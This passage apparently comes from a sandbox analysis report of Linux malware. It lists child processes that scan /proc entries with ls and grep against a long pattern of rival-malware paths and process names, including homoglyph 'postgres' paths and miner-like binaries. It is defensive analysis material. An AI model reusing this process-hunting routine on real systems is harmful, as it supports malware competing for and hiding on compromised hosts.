  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1228
- /bin/grep
  grep exe
  2⤵
  PID:1231
- /bin/ls
  ls -latrh /proc/ioports
  2⤵
  PID:1230
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1233
- /bin/ls
  ls -latrh /proc/irq
  2⤵
  PID:1235
- /bin/grep
  grep exe
  2⤵
  PID:1236
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1238
- /bin/ls
  ls -latrh /proc/kallsyms
  2⤵
  PID:1240
- /bin/grep
  grep exe
  2⤵
  PID:1241
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1243
- /bin/grep
  grep exe
  2⤵
  PID:1246
- /bin/ls
  ls -latrh /proc/key-users
  2⤵
  PID:1245
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1248
- /bin/grep
  grep exe
  2⤵
  PID:1251
- /bin/ls
  ls -latrh /proc/keys
  2⤵
  PID:1250
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1253
- /bin/grep
  grep exe
  2⤵
  PID:1256
- /bin/ls
  ls -latrh /proc/kmsg
  2⤵
  PID:1255
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1258
- /bin/ls
  ls -latrh /proc/kpagecgroup
  2⤵
  PID:1260
- /bin/grep
  grep exe
  2⤵
  PID:1261
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1263
- /bin/grep
  grep exe
  2⤵
  PID:1266
- /bin/ls
  ls -latrh /proc/kpagecount
  2⤵
  PID:1265
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1268
- /bin/grep
  grep exe
  2⤵
  PID:1271
- /bin/ls
  ls -latrh /proc/kpageflags
  2⤵
  PID:1270
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1273
- /bin/grep
  grep exe
  2⤵
  PID:1276
- /bin/ls
  ls -latrh /proc/loadavg
  2⤵
  PID:1275
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1278
- /bin/ls
  ls -latrh /proc/locks
  2⤵
  PID:1280
- /bin/grep
  grep exe
  2⤵
  PID:1281
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1283
- /bin/grep
  grep exe
  2⤵
  PID:1286
- /bin/ls
  ls -latrh /proc/meminfo
  2⤵
  PID:1285
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1288
- /bin/grep
  grep exe
  2⤵
  PID:1291
- /bin/ls
  ls -latrh /proc/misc
  2⤵
  PID:1290
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1293
- /bin/ls
  ls -latrh /proc/modules
  2⤵
  PID:1295
- /bin/grep
  grep exe
  2⤵
  PID:1296
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1298
- /bin/ls
  ls -latrh /proc/mounts
  2⤵
  PID:1300
- /bin/grep
  grep exe
  2⤵
  PID:1301
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1303
- /bin/grep
  grep exe
  2⤵
  PID:1306
- /bin/ls
  ls -latrh /proc/mtd
  2⤵
  PID:1305
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1308
- /bin/grep
  grep exe
  2⤵
  PID:1311
- /bin/ls
  ls -latrh /proc/net
  2⤵
  PID:1310
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1313
- /bin/grep
  grep exe
  2⤵
  PID:1316
- /bin/ls
  ls -latrh /proc/pagetypeinfo
  2⤵
  PID:1315
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1318
- /bin/grep
  grep exe
  2⤵
  PID:1321
- /bin/ls
  ls -latrh /proc/partitions
  2⤵
  PID:1320
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1323
- /bin/grep
  grep exe
  2⤵
  PID:1326
- /bin/ls
  ls -latrh /proc/sched_debug
  2⤵
  PID:1325
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1328
- /bin/grep
  grep exe
  2⤵
  PID:1331
- /bin/ls
  ls -latrh /proc/schedstat
  2⤵
  PID:1330
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1333
- /bin/grep
  grep exe
  2⤵
  PID:1336
- /bin/ls
  ls -latrh /proc/self
  2⤵
  PID:1335
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1338
- /bin/grep
  grep exe
  2⤵
  PID:1344
- /bin/ls
  ls -latrh /proc/slabinfo
  2⤵
  PID:1343
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1346
- /bin/grep
  grep exe
  2⤵
  PID:1349
- /bin/ls
  ls -latrh /proc/softirqs
  2⤵
  PID:1348
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1351
- /bin/ls
  ls -latrh /proc/stat
  2⤵
  PID:1353
- /bin/grep
  grep exe
  2⤵
  PID:1354
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1356
- /bin/grep
  grep exe
  2⤵
  PID:1359
- /bin/ls
  ls -latrh /proc/swaps
  2⤵
  PID:1358
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1361
- /bin/grep
  grep exe
  2⤵
  PID:1364
- /bin/ls
  ls -latrh /proc/sys
  2⤵
  PID:1363
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1366
- /bin/ls
  ls -latrh /proc/sysrq-trigger
  2⤵
  PID:1368
- /bin/grep
  grep exe
  2⤵
  PID:1369
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1371
- /bin/ls
  ls -latrh /proc/sysvipc
  2⤵
  - System Network Configuration Discovery
  PID:1373
- /bin/grep
  grep exe
  2⤵
  PID:1374
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1376
- /bin/grep
  grep exe
  2⤵
  PID:1379
- /bin/ls
  ls -latrh /proc/thread-self
  2⤵
  PID:1378
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1381
- /bin/ls
  ls -latrh /proc/timer_list
  2⤵
  PID:1383
- /bin/grep
  grep exe
  2⤵
  PID:1384
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1386
- /bin/grep
  grep exe
  2⤵
  PID:1389
- /bin/ls
  ls -latrh /proc/tty
  2⤵
  PID:1388
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1391
- /bin/grep
  grep exe
  2⤵
  PID:1394
- /bin/ls
  ls -latrh /proc/uptime
  2⤵
  PID:1393
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1397
- /bin/ls
  ls -latrh /proc/version
  2⤵
  PID:1399
- /bin/grep
  grep exe
  2⤵
  PID:1400
- /bin/grep
